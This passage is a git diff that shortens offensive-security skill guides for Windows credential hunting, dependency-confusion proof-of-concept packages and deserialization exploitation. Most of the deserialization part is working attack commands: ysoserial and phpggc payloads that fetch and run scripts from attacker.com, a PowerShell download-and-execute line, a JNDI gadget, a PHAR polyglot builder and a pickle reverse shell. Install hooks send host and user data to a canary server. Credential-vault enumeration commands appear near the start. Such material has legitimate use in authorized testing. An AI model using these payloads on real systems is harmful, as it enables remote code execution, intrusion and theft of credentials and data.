If credentials are stored for admin accounts, use runasrunas /savecred /user:DOMAIN\admin "cmd.exe /c whoami > C:\Users\Public\whoami.txt"--# PowerShell credential enumeration-[System.Net.CredentialCache]::DefaultCredentials--# Vault enumeration-.\vaultcmd.exe /list-.\vaultcmd.exe /listschema-.\vaultcmd.exe /listcreds:"Windows Credentials" /all```### Additional Credential Sources```powershell# Unattended install files-dir C:\Unattend.xml C:\Windows\Panther\Unattend.xml /s 2>nul-dir C:\Windows\Panther\Unattend\Unattend.xml /s 2>nul-dir C:\sysprep\sysprep.xml C:\sysprep.inf /s 2>nul+dir C:\Unattend.xml C:\Windows\Panther\Unattend.xml C:\sysprep\sysprep.xml /s 2>nul-# IIS configuration+# IIS configuration and web.configtype C:\inetpub\wwwroot\web.config 2>nul-type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config 2>nul# WiFi passwordsnetsh wlan show profiles@@ -598,28 +526,10 @@ Every technique above has corresponding detection opportunities. Understanding tKey log sources:-```powershell-# Defenders should monitor-# Windows Security Log - Event IDs-# 4688 - Process creation (enable command-line logging)-# 4689 - Process termination-# 4697 - Service installation-# 4698 - Scheduled task creation-# 4703 - Token privilege adjustment-# 7045 - New service installed--# Sysmon (if deployed)-# Event 1 - Process creation with hashes-# Event 7 - Image loaded (DLL monitoring)-# Event 8 - CreateRemoteThread-# Event 10 - Process access (LSASS access)-# Event 11 - File creation-# Event 13 - Registry value set--# PowerShell logging-# Script Block Logging (Event ID 4104)-# Module Logging-# Transcription+```text+Windows Security Log: 4688 (process creation), 4697 (service install), 4698 (task creation), 4703 (token adjust), 7045 (new service)+Sysmon: Event 1 (process), 7 (DLL load), 8 (CreateRemoteThread), 10 (LSASS access), 13 (registry set)+PowerShell: Script Block Logging (4104), Module Logging, Transcription```---diff --git a/Skills/supply-chain/offensive-dependency-confusion/SKILL.md b/Skills/supply-chain/offensive-dependency-confusion/SKILL.mdindex aedebfc..2f0d3c1 100644--- a/Skills/supply-chain/offensive-dependency-confusion/SKILL.md+++ b/Skills/supply-chain/offensive-dependency-confusion/SKILL.md@@ -151,19 +151,10 @@ gh api search/code \### Additional Recon Sources```bash-# Job postings mentioning internal tools and libraries-# Search job sites for "targetcorp" + technology-specific terms--# Docker Hub: check for organization images with dependency metadata-curl -s "https://hub.docker.com/v2/repositories/targetcorp/?page_size=100" | \- jq -r '.results[].name'--# npm: check organization scope+# Docker Hub, npm org scopes, PyPI author search+curl -s "https://hub.docker.com/v2/repositories/targetcorp/?page_size=100" | jq -r '.results[].name'curl -s "https://registry.npmjs.org/-/org/targetcorp/package" | jq -r 'keys[]'--# PyPI: search for packages by author/maintainer-curl -s "https://pypi.org/search/?q=targetcorp" | \- grep -oP 'class="package-snippet__name">[^<]+' | sed 's/.*>//'+# Also mine job postings for internal tool names and library references```---@@ -296,92 +287,45 @@ index-url = https://pypi.corp.example.com/simple/# Public PyPI is no longer consulted```-### PyPI PoC Package Structure--```-offensive-poc-package/- setup.py- setup.cfg- PKG-INFO- offensive_poc_package/__init__.py-```+### PyPI PoC Package```python-# setup.py -- full PoC with multiple hook vectors-import os-import sys-import socket-import urllib.request+# setup.py -- PoC with install/develop/egg_info hook vectors+import os, sys, socket, urllib.requestfrom setuptools import setupfrom setuptools.command.install import installfrom setuptools.command.develop import developfrom setuptools.command.egg_info import egg_info-CANARY_HOST = "canary.researcher.example"-PACKAGE_NAME = "internal-data-pipeline"+CANARY = "canary.researcher.example"+PKG = "internal-data-pipeline"def safe_callback(phase):- """Send a safe DNS and HTTP callback with minimal metadata."""+ """DNS + HTTP callback with minimal metadata. No secrets, no file access."""try:- hostname = socket.gethostname()[:30]- user = os.getenv("USER", os.getenv("USERNAME", "unknown"))[:20]- ci = "1" if any(- os.getenv(v) for v in [- "CI", "CONTINUOUS_INTEGRATION", "BUILD_ID",- "GITHUB_ACTIONS", "GITLAB_CI", "JENKINS_URL"- ]- ) else "0"-- # DNS canary -- works through most firewalls- label = f"pypi-{hostname}-{user}-{phase}-ci{ci}"- label = label.replace(" ", "-").replace(".", "-")[:60]- try:- socket.getaddrinfo(f"{label}.your-id.interact.sh", 80)- except socket.gaierror:- pass-- # HTTP callback- data = (- f"pkg={PACKAGE_NAME}&host={hostname}&user={user}"- f"&phase={phase}&ci={ci}&py={sys.version.split()[0]}"- ).encode()- req = urllib.request.Request(- f"https://{CANARY_HOST}/pypi-confusion",- data=data,- method="POST"- )- urllib.request.urlopen(req, timeout=5)- except Exception:- pass+ h = socket.gethostname()[:30]+ u = os.getenv("USER", os.getenv("USERNAME", "unknown"))[:20]+ ci = "1" if any(os.getenv(v) for v in+ ["CI", "GITHUB_ACTIONS", "GITLAB_CI", "JENKINS_URL"]) else "0"+ label = f"pypi-{h}-{u}-{phase}-ci{ci}".replace(" ", "-").replace(".", "-")[:60]+ try: socket.getaddrinfo(f"{label}.your-id.interact.sh", 80)+ except socket.gaierror: pass+ data = f"pkg={PKG}&host={h}&user={u}&phase={phase}&ci={ci}".encode()+ urllib.request.urlopen(urllib.request.Request(+ f"https://{CANARY}/pypi-confusion", data=data, method="POST"), timeout=5)+ except Exception: passclass InstallHook(install):- def run(self):- safe_callback("install")- install.run(self)-+ def run(self): safe_callback("install"); install.run(self)class DevelopHook(develop):- def run(self):- safe_callback("develop")- develop.run(self)-+ def run(self): safe_callback("develop"); develop.run(self)class EggInfoHook(egg_info):- def run(self):- safe_callback("egg_info")- egg_info.run(self)+ def run(self): safe_callback("egg_info"); egg_info.run(self)setup(- name=PACKAGE_NAME,- version="9999.0.0",+ name=PKG, version="9999.0.0",description="Security research PoC -- dependency confusion -- contact [email protected]",- author="Security Researcher",- author_email="[email protected]",- url="https://researcher.example/dependency-confusion",- cmdclass={- "install": InstallHook,- "develop": DevelopHook,- "egg_info": EggInfoHook,- },- python_requires=">=3.6",+ cmdclass={"install": InstallHook, "develop": DevelopHook, "egg_info": EggInfoHook},)```@@ -451,48 +395,27 @@ Java ecosystems resolve artifacts by iterating through configured repositoriesin order. If Maven Central is listed before a private repository, an attackercan claim the groupId:artifactId on Central.-### Maven-```xml-<!-- pom.xml with vulnerable repository ordering -->+<!-- pom.xml: Maven checks central first; attacker claims com.targetcorp:internal-lib --><repositories>- <repository>- <id>central</id>- <url>https://repo.maven.apache.org/maven2</url>- </repository>- <repository>- <id>internal</id>- <url>https://nexus.corp.example.com/repository/maven-releases/</url>- </repository>+ <repository><id>central</id><url>https://repo.maven.apache.org/maven2</url></repository>+ <repository><id>internal</id><url>https://nexus.corp.example.com/repository/maven-releases/</url></repository></repositories>-<!-- Maven checks central first; attacker publishes com.targetcorp:internal-lib -->``````bash-# Check Maven Central for availability-group_id="com.targetcorp"-artifact_id="internal-auth-lib"-group_path=$(echo $group_id | tr '.' '/')-code=$(curl -s -o /dev/null -w "%{http_code}" \- "https://repo.maven.apache.org/maven2/$group_path/$artifact_id/maven-metadata.xml")-echo "$group_id:$artifact_id - HTTP $code"+# Check Maven Central for groupId:artifactId availability+group_path=$(echo "com.targetcorp" | tr '.' '/')+curl -s -o /dev/null -w "%{http_code}" \+ "https://repo.maven.apache.org/maven2/$group_path/internal-auth-lib/maven-metadata.xml"```-### Gradle-```groovy-// build.gradle with vulnerable repository ordering+// build.gradle: Gradle checks mavenCentral() first -- same vulnerabilityrepositories {mavenCentral()- maven {- url "https://nexus.corp.example.com/repository/maven-releases/"- credentials {- username = project.findProperty("nexusUser") ?: ""- password = project.findProperty("nexusPassword") ?: ""- }- }+ maven { url "https://nexus.corp.example.com/repository/maven-releases/" }}-// Gradle checks mavenCentral() first```---@@ -524,28 +447,16 @@ cat go.sum | awk '{print $1}' | sort -u | \// Go module with init() callback for PoCpackage confusionpoc-import (- "net"- "net/http"- "os"- "os/user"- "strings"-)+import ("net"; "net/http"; "os"; "os/user"; "strings")func init() {hostname, _ := os.Hostname()u, _ := user.Current()- username := "unknown"- if u != nil {- username = u.Username- }- label := strings.ReplaceAll(hostname+"-"+username, ".", "-")-- // DNS canary+ uname := "unknown"+ if u != nil { uname = u.Username }+ label := strings.ReplaceAll(hostname+"-"+uname, ".", "-")net.LookupHost(label + ".your-id.interact.sh")-- // HTTP callback- http.Get("https://canary.researcher.example/go-confusion?h=" + hostname + "&u=" + username)+ http.Get("https://canary.researcher.example/go-confusion?h=" + hostname + "&u=" + uname)}```@@ -562,25 +473,16 @@ curl -s "https://rubygems.org/api/v1/gems/corp-internal-utils.json" | \``````ruby-# Gemspec with post-install callback+# Gemspec with post-install callback via ext/extconf.rbGem::Specification.new do |s|- s.name = "corp-internal-utils"- s.version = "999.0.0"- s.summary = "Security research - dependency confusion PoC"- s.authors = ["Security Researcher"]- s.extensions = ["ext/extconf.rb"]+ s.name = "corp-internal-utils"; s.version = "999.0.0"+ s.summary = "Security research - dependency confusion PoC"+ s.authors = ["Security Researcher"]; s.extensions = ["ext/extconf.rb"]end-# ext/extconf.rb -- executed during gem install-require 'socket'-require 'net/http'-hostname = Socket.gethostname-user = ENV['USER'] || 'unknown'-begin- Net::HTTP.get(URI("https://canary.researcher.example/ruby-#{hostname}-#{user}"))-rescue-end-# Create dummy Makefile so the gem installs+require 'socket'; require 'net/http'+h, u = Socket.gethostname, (ENV['USER'] || 'unknown')+Net::HTTP.get(URI("https://canary.researcher.example/ruby-#{h}-#{u}")) rescue nilFile.write("Makefile", "all:\n\ttrue\ninstall:\n\ttrue\n")```@@ -616,61 +518,35 @@ services:## Safe PoC Methodology-Every dependency confusion engagement must follow safe PoC practices. You-never deploy destructive or exfiltration-capable payloads.+You never deploy destructive or exfiltration-capable payloads. Every PoC+uses safe callbacks only.-### DNS Canary Setup+### DNS Canary Options```bash-# Option 1: Use interactsh for DNS canary+# interactsh (preferred -- free, reliable OOB detection)go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@latestinteractsh-client -v-# Provides a unique *.interact.sh subdomain for callbacks--# Option 2: Use Burp Collaborator-# Generate a Collaborator payload from Burp Suite Professional-# Monitor the Collaborator tab for incoming DNS queries--# Option 3: Self-hosted canary-# Set up a DNS server that logs all queries-# Use your own domain with NS records pointing to your server+# Burp Collaborator -- generate payload from Burp Pro, monitor Collaborator tab+# Self-hosted -- run a logging DNS server on your own NS-delegated domain```### Callback Data Constraints-You collect only the minimum metadata needed to prove execution and identify-the affected system.--```-ALLOWED callback data:- - hostname (os.hostname / socket.gethostname)- - username (os.userInfo / USER env var)- - CI indicator (CI / CONTINUOUS_INTEGRATION env var -- boolean only)- - operating system / platform- - package manager version- - timestamp--NOT ALLOWED:- - file contents- - environment variable values (beyond CI boolean)- - credentials, tokens, or secrets- - network configuration details- - directory listings- - process listings- - any form of persistent access or reverse shell-```+Collect only what proves execution and identifies the affected system:+hostname, username, CI boolean, OS/platform, package manager version,+timestamp. Never collect file contents, environment variable values beyond+the CI flag, credentials, tokens, directory/process listings, or any form+of persistent access.### Package Description Template-```-Security Research - Dependency Confusion Proof of Concept--This package was published as part of an authorized security assessment.-It contains no malicious functionality. The package sends a DNS query-and/or HTTP request to a researcher-controlled server to confirm that-dependency confusion is possible in the target environment.+Include in every PoC package published to a public registry:-Contact: [email protected]+```+Security Research - Dependency Confusion Proof of Concept.+Authorized security assessment. No malicious functionality. Sends a DNS/HTTP+callback to a researcher-controlled server. Contact: [email protected]Report reference: [ENGAGEMENT-ID]```@@ -733,20 +609,14 @@ tar xzf *.tar.gz && cat */setup.py| 11 | Remove PoC packages from public registries | `npm unpublish` / PyPI delete || 12 | Deliver remediation: registry pinning per ecosystem| Report template above |-**Timing considerations:**--- CI/CD pipelines run on schedules -- expect callbacks during business hours or on commit.-- `npm install` and `pip install` in CI typically run within minutes of a commit.-- Developer workstations may not pull new dependencies for days or weeks.-- Set your engagement window accordingly and keep canary listeners running.--**Legal and coordination notes:**+**Timing**: CI/CD callbacks arrive within minutes of a commit; developer+workstations may take days or weeks. Keep canary listeners running for the+full engagement window.-- Confirm scope explicitly includes publishing to public registries.-- Pre-coordinate with the target security team for public registry publishing.-- Document the exact package names, versions, and timestamps of publication.-- Maintain screenshots of the package listing with the security research description.-- Remove packages promptly; do not leave PoC packages published beyond the engagement.+**Coordination**: Confirm scope includes public registry publishing.+Pre-coordinate with the target security team. Document package names,+versions, and publication timestamps. Remove PoC packages promptly after+the engagement window closes.---diff --git a/Skills/web/offensive-deserialization/SKILL.md b/Skills/web/offensive-deserialization/SKILL.mdindex 7e9165a..8435b07 100644--- a/Skills/web/offensive-deserialization/SKILL.md+++ b/Skills/web/offensive-deserialization/SKILL.md@@ -6,70 +6,55 @@ description: "Insecure deserialization exploitation across Java, PHP, .NET, Pyth# Offensive DeserializationDeserialization vulnerabilities arise when an application reconstructs objects from-serialized byte streams without validating the type, integrity, or origin of those-bytes. Because object reconstruction can trigger constructors, finalizers, and-language-specific magic methods, an attacker who controls the serialized input often-achieves remote code execution before any application-level validation runs. This-skill provides a structured methodology for discovering deserialization sinks,-selecting or building gadget chains, delivering payloads through common and-overlooked channels, and evading defensive controls.+serialized byte streams without validating the type, integrity, or origin of the+data. Object reconstruction triggers constructors, finalizers, and language-specific+magic methods, so an attacker who controls the serialized input often achieves remote+code execution before any application-level validation runs.## Quick Workflow--1. Enumerate every entry point that accepts opaque binary or encoded data -- cookies,+1. Enumerate every entry point accepting opaque binary or encoded data -- cookies,HTTP bodies, headers, message queue messages, file uploads, GraphQL custom scalars,gRPC fields, JMX/RMI endpoints.-2. Fingerprint the serialization format by inspecting magic bytes, content-type- headers, and error behavior (see the Recognition Signatures section).-3. Determine the server-side language and framework version. Pull dependency lists- from error pages, HTTP headers, or source code if available.-4. Select candidate gadget chains that match the target's classpath or installed- packages. Generate payloads with ysoserial, phpggc, ysoserial.net, or manual- pickle/YAML construction.-5. Deliver the payload through the identified entry point. Start with a DNS-only or- sleep-based proof to confirm execution without destructive side effects.-6. Escalate from proof-of-concept to the engagement objective (reverse shell, file- read, credential extraction) with the client's authorization.-7. Document the full chain: entry point, serialization format, gadget chain, library- versions, and proof artifact.+2. Fingerprint the serialization format via magic bytes, content-type headers, and+ error behavior (see Recognition Signatures).+3. Determine the server-side language and framework version from error pages, HTTP+ headers, or source code.+4. Select candidate gadget chains matching the target classpath or installed packages.+ Generate payloads with ysoserial, phpggc, ysoserial.net, or manual construction.+5. Deliver through the identified entry point. Start with DNS-only or sleep-based+ proof to confirm execution without destructive side effects.+6. Escalate from proof-of-concept to the engagement objective with authorization.+7. Document the full chain: entry point, format, gadget chain, library versions, proof.----## Recognition Signatures-Use these byte patterns and string prefixes to identify serialization formats in-intercepted traffic.-| Format | Signature | Notes ||---|---|---|-| Java ObjectInputStream | Hex `ac ed 00 05`, Base64 `rO0AB` | Often in cookies, POST bodies, JMX/RMI streams |+| Java ObjectInputStream | Hex `ac ed 00 05`, Base64 `rO0AB` | Cookies, POST bodies, JMX/RMI streams || PHP serialize | `O:<len>:"ClassName":` or `a:<count>:{` | Frequently Base64-wrapped in cookies || .NET BinaryFormatter | Base64 `AAEAAAD/////` | ViewState, remoting, session state |-| Python pickle | Opcodes `\x80\x04\x95` (protocol 4+), older `(dp0` text mode | Found in Redis caches, Celery tasks, ML pipelines |+| Python pickle | Opcodes `\x80\x04\x95` (v4+), older `(dp0` text | Redis caches, Celery tasks, ML pipelines || Ruby Marshal | `\x04\x08` leading bytes | Session cookies in older Rails apps |-| YAML (any language) | `--- !ruby/object:` or `!!python/object/apply:` | Tag-based instantiation |+| YAML (any lang) | `--- !ruby/object:` or `!!python/object/apply:` | Tag-based instantiation || Java XMLDecoder | `<?xml` with `<java>` or `<object class=` | Legacy Java admin panels || .NET Json.NET | `"$type":` key in JSON | TypeNameHandling != None |-| Java Jackson | `["class.name", {` JSON array wrapper | enableDefaultTyping / polymorphic type handling |+| Java Jackson | `["class.name", {` JSON array wrapper | enableDefaultTyping / polymorphic handling |----## Java Deserialization-Java deserialization is the most extensively researched attack surface. The-`ObjectInputStream.readObject()` method instantiates arbitrary classes present on the-classpath, and decades of library code provide usable gadget chains.+`ObjectInputStream.readObject()` instantiates arbitrary classes present on the+classpath. Decades of library code provide usable gadget chains.### Identifying Sinks-Search source code or decompiled JARs for these patterns:-```java// Direct ObjectInputStream usageObjectInputStream ois = new ObjectInputStream(inputStream);Object obj = ois.readObject();-// XMLDecoder (equally dangerous, often overlooked)+// XMLDecoder -- equally dangerous, often overlookedXMLDecoder decoder = new XMLDecoder(inputStream);Object obj = decoder.readObject();@@ -77,197 +62,154 @@ Object obj = decoder.readObject();XStream xstream = new XStream();Object obj = xstream.fromXML(userInput);-// Jackson with polymorphic typing enabled+// Jackson polymorphic typing -- CVE-2017-7525 and successorsObjectMapper mapper = new ObjectMapper();-mapper.enableDefaultTyping(); // CVE-2017-7525 and successors+mapper.enableDefaultTyping();// Jackson @JsonTypeInfo on base class@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)public abstract class BaseCommand { }-// JMX/RMI endpoints accepting serialized objects-// Default JMX port 1099, often unauthenticated+// JMX/RMI endpoints -- default port 1099, often unauthenticated```### serialVersionUID and Classpath Constraints-Every serializable Java class carries a `serialVersionUID`. A mismatch between the-payload's UID and the server's class version causes an `InvalidClassException` before-any gadget logic executes. When you encounter this:--1. Extract the server's `serialVersionUID` from error messages or decompiled JARs.-2. Rebuild the payload with the matching UID using ysoserial's source or a custom- build.-3. If the exact library version is unknown, brute-force common versions. The UID- often changes only on major releases.+Every serializable Java class carries a `serialVersionUID`. A mismatch causes+`InvalidClassException` before any gadget logic executes. Extract the server's UID+from error messages or decompiled JARs, then rebuild the payload with ysoserial's+source. The UID often changes only on major releases, so brute-forcing common+versions is feasible when the exact version is unknown.### ysoserial Gadget Chains-Generate payloads with ysoserial. Match the chain to libraries present on the target-classpath.+Match the chain to libraries present on the target classpath.```bash-# CommonsCollections chains -- most widely applicable-# CC1 requires commons-collections 3.1, works on JDK < 8u72-java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/callback' > payload.bin--# CC5 works on later JDK versions where CC1 is patched-java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/callback' > payload.bin--# CC7 uses Hashtable entry point, bypasses some ObjectInputFilter rules+# CommonsCollections -- most widely applicable+# CC1: commons-collections 3.1, JDK < 8u72+java -jar ysoserial.jar CommonsCollections1 'curl http://attacker.com/cb' > payload.bin+# CC5: later JDK versions where CC1 is patched+java -jar ysoserial.jar CommonsCollections5 'curl http://attacker.com/cb' > payload.bin+# CC7: Hashtable entry point, bypasses some ObjectInputFilter rulesjava -jar ysoserial.jar CommonsCollections7 'id > /tmp/proof.txt' > payload.bin-# Spring chain -- requires spring-core + spring-beans on classpath-java -jar ysoserial.jar Spring1 'wget http://attacker.com/shell.sh -O /tmp/s.sh' > payload.bin-+# Spring chain -- requires spring-core + spring-beans+java -jar ysoserial.jar Spring1 'wget http://attacker.com/s.sh -O /tmp/s.sh' > payload.bin# Hibernate chain -- requires hibernate-core-java -jar ysoserial.jar Hibernate1 'bash -c {echo,BASE64PAYLOAD}|{base64,-d}|bash' > payload.bin--# CommonsBeanutils -- present in many enterprise apps via shaded dependencies+java -jar ysoserial.jar Hibernate1 'bash -c {echo,BASE64}|{base64,-d}|bash' > payload.bin+# CommonsBeanutils -- present in many apps via shaded dependenciesjava -jar ysoserial.jar CommonsBeanutils1 'ping -c 3 attacker.com' > payload.bin-# URLDNS chain -- triggers a DNS lookup, no RCE, safe for detection confirmation+# URLDNS -- DNS lookup only, no RCE, safe for detection confirmationjava -jar ysoserial.jar URLDNS 'http://deser-confirm.attacker.com' > payload.bin-# JRMPClient -- redirects deserialization to attacker-controlled JRMP listener+# JRMPClient -- redirect deser to attacker-controlled JRMP listenerjava -jar ysoserial.jar JRMPClient 'attacker.com:1099' > payload.bin--# On attacker host, run the JRMP listener to serve a secondary payload+# On attacker host, serve secondary payload via JRMP listenerjava -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 'id'```### JMX/RMI Deserialization-Java Management Extensions (JMX) and RMI registries accept serialized objects over-the wire. They are frequently exposed on internal networks without authentication.+JMX and RMI registries accept serialized objects over the wire and are frequently+exposed without authentication on internal networks.```bash# Scan for RMI registriesnmap -sV -p 1099,1098,9010,9011 --script rmi-dumpregistry TARGET-# Use marshalsec to exploit RMI/JNDI+# marshalsec: exploit RMI/JNDIjava -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer \"http://attacker.com:8080/#ExploitClass" 1099--# Exploit JNDI injection via deserialization-# Payload triggers lookup to attacker-controlled naming service-java -jar ysoserial.jar JRMPClient 'attacker.com:1099' | \- base64 -w0 > jmx_payload.b64```### Jackson Polymorphic Typing-When Jackson's `enableDefaultTyping()` or `@JsonTypeInfo(use = Id.CLASS)` is active,-you supply a JSON array where the first element names the class to instantiate.+When `enableDefaultTyping()` or `@JsonTypeInfo(use = Id.CLASS)` is active, you+supply a JSON array naming the class to instantiate.```json["com.sun.rowset.JdbcRowSetImpl",- {"dataSourceName":"ldap://attacker.com:1389/Exploit",- "autoCommit":true}]+ {"dataSourceName":"ldap://attacker.com:1389/Exploit","autoCommit":true}]```Jackson maintainers continuously add classes to a denylist. Check the target's-Jackson version against known bypass classes. Recent bypasses have used-`org.apache.ibatis.datasource.jndi.JndiDataSourceFactory`,+version against known bypass classes: `org.apache.ibatis.datasource.jndi.JndiDataSourceFactory`,`com.caucho.config.types.ResourceRef`, and similar JNDI-capable beans.----## PHP Deserialization-PHP's `unserialize()` function instantiates objects and invokes magic methods-(`__wakeup`, `__destruct`, `__toString`) during reconstruction. The `phar://` stream-wrapper triggers deserialization without an explicit `unserialize()` call.+`unserialize()` instantiates objects and invokes magic methods (`__wakeup`,+`__destruct`, `__toString`) during reconstruction. The `phar://` stream wrapper+triggers deserialization without an explicit `unserialize()` call.### Identifying Sinks```php-// Direct unserialize -- classic vector+// Direct unserialize$obj = unserialize($userInput);-// phar:// wrapper triggers deserialization on metadata-// Any file operation that accepts a phar:// path is a sink+// phar:// wrapper -- any file operation on a phar:// path is a sinkfile_exists("phar://uploads/avatar.jpg");-file_get_contents("phar://user_data/config.phar");is_dir("phar://" . $userControlledPath);--// Functions that trigger phar deserialization:-// file_exists, is_dir, is_file, file_get_contents, fopen, fileatime,-// filectime, filemtime, filesize, copy, rename, unlink, stat, lstat,-// getimagesize, exif_read_data, hash_file, md5_file, sha1_file+// Triggering functions: file_exists, is_dir, is_file, file_get_contents,+// fopen, fileatime, filectime, filemtime, filesize, copy, rename, unlink,+// stat, lstat, getimagesize, exif_read_data, hash_file, md5_file, sha1_file```### phpggc Gadget Chains-phpggc generates gadget chain payloads for common PHP frameworks.-```bash-# List all available chains-phpggc -l--# Laravel RCE -- uses PendingBroadcast + Dispatcher-# Works on Laravel 5.5 through 9.x depending on chain variant-phpggc Laravel/RCE1 system 'id' -b # -b for base64 output+phpggc -l # List all available chains-# Laravel/RCE10 -- newer chain for recent versions-phpggc Laravel/RCE10 system 'cat /etc/passwd' -s # -s for serialized output+# Laravel RCE -- PendingBroadcast + Dispatcher, works 5.5 through 9.x+phpggc Laravel/RCE1 system 'id' -b # -b = base64+phpggc Laravel/RCE10 system 'cat /etc/passwd' -s # -s = serialized-# Symfony RCE -- targets Symfony's process component-phpggc Symfony/RCE4 exec 'curl http://attacker.com/shell.sh|bash' -b--# Monolog RCE -- present in most Composer-based projects+# Symfony RCE -- targets process component+phpggc Symfony/RCE4 exec 'curl http://attacker.com/s.sh|bash' -b+# Monolog RCE -- present in most Composer projectsphpggc Monolog/RCE1 system 'whoami' -b--# Guzzle chain+# Guzzle / WordPress chainsphpggc Guzzle/RCE1 system 'id' -b--# WordPress-specific (if WP plugins load vulnerable classes)phpggc WordPress/RCE1 system 'id' -b-# Generate a phar file instead of raw serialized data+# PHAR output instead of raw serialized dataphpggc Laravel/RCE1 system 'id' -p phar -o exploit.phar--# Generate with PHAR polyglot disguised as JPEG+# PHAR polyglot disguised as JPEGphpggc Laravel/RCE1 system 'id' -p phar -pp header.jpg -o exploit.jpg```### phar:// Exploitation-The phar:// wrapper deserializes the metadata section of a PHAR archive when any-file operation accesses it. This is powerful because the sink is a file function, not-an explicit `unserialize()` call, so it evades many code audits.+The phar:// wrapper deserializes the metadata section of a PHAR archive on any file+operation. The sink is a file function, not `unserialize()`, so it evades many audits.```php-// Build a malicious PHAR (attacker side)-// php.ini must have phar.readonly = 0+// Build a malicious PHAR (php.ini: phar.readonly = 0)$phar = new Phar('exploit.phar');$phar->startBuffering();$phar->addFromString('test.txt', 'test');--// Set the metadata to your gadget chain object$object = new VulnerableClass();$object->command = 'id';$phar->setMetadata($object);-$phar->stopBuffering();-// Prepend a JPEG header to create a polyglot+// Create a polyglot by prepending a JPEG header$jpegHeader = file_get_contents('legitimate.jpg');-$pharContent = file_get_contents('exploit.phar');-file_put_contents('exploit.jpg', $jpegHeader . $pharContent);+file_put_contents('exploit.jpg', $jpegHeader . file_get_contents('exploit.phar'));```-Upload the polyglot as an image, then trigger a file operation that references-`phar://uploads/exploit.jpg/test.txt`. The metadata deserializes before the file-operation completes.+Upload the polyglot as an image, then trigger a file operation referencing+`phar://uploads/exploit.jpg/test.txt`.----## .NET Deserialization-.NET offers multiple serialization mechanisms. `BinaryFormatter` is the most-dangerous and Microsoft has formally deprecated it, but legacy applications and-internal tools still rely on it.+`BinaryFormatter` is the most dangerous .NET serializer. Microsoft has formally+deprecated it, but legacy applications and internal tools still use it.### Identifying Sinks@@ -276,13 +218,9 @@ internal tools still rely on it.BinaryFormatter formatter = new BinaryFormatter();object obj = formatter.Deserialize(stream);-// SoapFormatter -- equally dangerous, less common+// SoapFormatter / NetDataContractSerializer -- equally dangerousSoapFormatter soap = new SoapFormatter();-object obj = soap.Deserialize(stream);--// NetDataContractSerializer -- type information in the streamNetDataContractSerializer ndcs = new NetDataContractSerializer();-object obj = ndcs.ReadObject(stream);// LosFormatter -- used in ViewStateLosFormatter los = new LosFormatter();@@ -297,41 +235,30 @@ JsonConvert.DeserializeObject<object>(json, new JsonSerializerSettings {### ysoserial.net Payloads```powershell-# TypeConfuseDelegate -- works broadly across .NET versions+# TypeConfuseDelegate -- broad .NET coverageysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "ping attacker.com"--# WindowsIdentity -- useful when TypeConfuseDelegate is blocked-ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "certutil -urlcache -split -f http://attacker.com/shell.exe C:\Windows\Temp\shell.exe"--# TextFormattingRunProperties -- targets WPF/XAML parsing+# WindowsIdentity -- when TypeConfuseDelegate is blocked+ysoserial.exe -g WindowsIdentity -f BinaryFormatter -c "certutil -urlcache -split -f http://attacker.com/s.exe C:\Temp\s.exe"+# TextFormattingRunProperties -- targets WPF/XAMLysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c "calc.exe"--# PSObject -- PowerShell-specific chain+# PSObject -- PowerShell-specificysoserial.exe -g PSObject -f BinaryFormatter -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/ps.ps1')"--# Generate for Json.NET TypeNameHandling-ysoserial.exe -g ObjectDataProvider -f Json.Net -c "cmd.exe /c whoami > C:\proof.txt"--# Output as base64 for injection into ViewState or cookies+# Json.NET TypeNameHandling+ysoserial.exe -g ObjectDataProvider -f Json.Net -c "cmd /c whoami > C:\proof.txt"+# Base64 output for ViewState or cookie injectionysoserial.exe -g TypeConfuseDelegate -f LosFormatter -c "ping attacker.com" -o base64```### ViewState Exploitation-ASP.NET ViewState is a serialized blob stored in a hidden form field. When MAC-validation is disabled or the machine key is known, you can inject a gadget chain-directly.+ASP.NET ViewState is a serialized hidden form field. When MAC validation is disabled+or the machine key is known, you inject a gadget chain directly.```bash-# Check if ViewState MAC is disabled (rare but found in legacy apps)-# Look for enableViewStateMac="false" in web.config-# or __VIEWSTATEGENERATOR values that suggest no MAC--# If machine key is known (e.g., from web.config disclosure, default keys,-# or HackTheBox-style challenges), generate a ViewState payload:+# If machine key is known (web.config disclosure, default keys):ysoserial.exe -p ViewState \-g TextFormattingRunProperties \- -c "powershell -enc BASE64COMMAND" \+ -c "powershell -enc BASE64CMD" \--validationalg="SHA1" \--validationkey="KNOWN_KEY" \--generator="GENERATOR_VALUE" \@@ -341,8 +268,7 @@ ysoserial.exe -p ViewState \### Json.NET TypeNameHandling-When `TypeNameHandling` is set to anything other than `None`, the `$type` property-in JSON controls which .NET type is instantiated.+When `TypeNameHandling` is not `None`, the `$type` property controls instantiation.```json{@@ -352,63 +278,46 @@ in JSON controls which .NET type is instantiated."$type": "System.Collections.ArrayList, mscorlib","$values": ["cmd.exe", "/c whoami"]},- "ObjectInstance": {- "$type": "System.Diagnostics.Process, System"- }+ "ObjectInstance": {"$type": "System.Diagnostics.Process, System"}}```----## Python Deserialization-Python's `pickle` module executes arbitrary code during deserialization through the+Python's `pickle` executes arbitrary code during deserialization through the`__reduce__` method. There is no safe way to deserialize untrusted pickle data.### pickle RCE```python-import pickle-import os-import base64+import pickle, os, base64-# Basic __reduce__ RCE payloadclass Exploit:def __reduce__(self):return (os.system, ('curl http://attacker.com/callback',))-# Generate the payloadpayload = pickle.dumps(Exploit())print(base64.b64encode(payload).decode())-# More sophisticated: use subprocess for output capture-class ExfilExploit:- def __reduce__(self):- return (- __import__('subprocess').check_output,- (['cat', '/etc/passwd'],)- )--# Reverse shell via pickle+# Reverse shell variantclass ReverseShell:def __reduce__(self):- return (- os.system,- ('python3 -c \'import socket,subprocess,os;s=socket.socket();s.connect(("attacker.com",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])\'',)- )+ return (os.system, (+ 'python3 -c \'import socket,subprocess,os;'+ 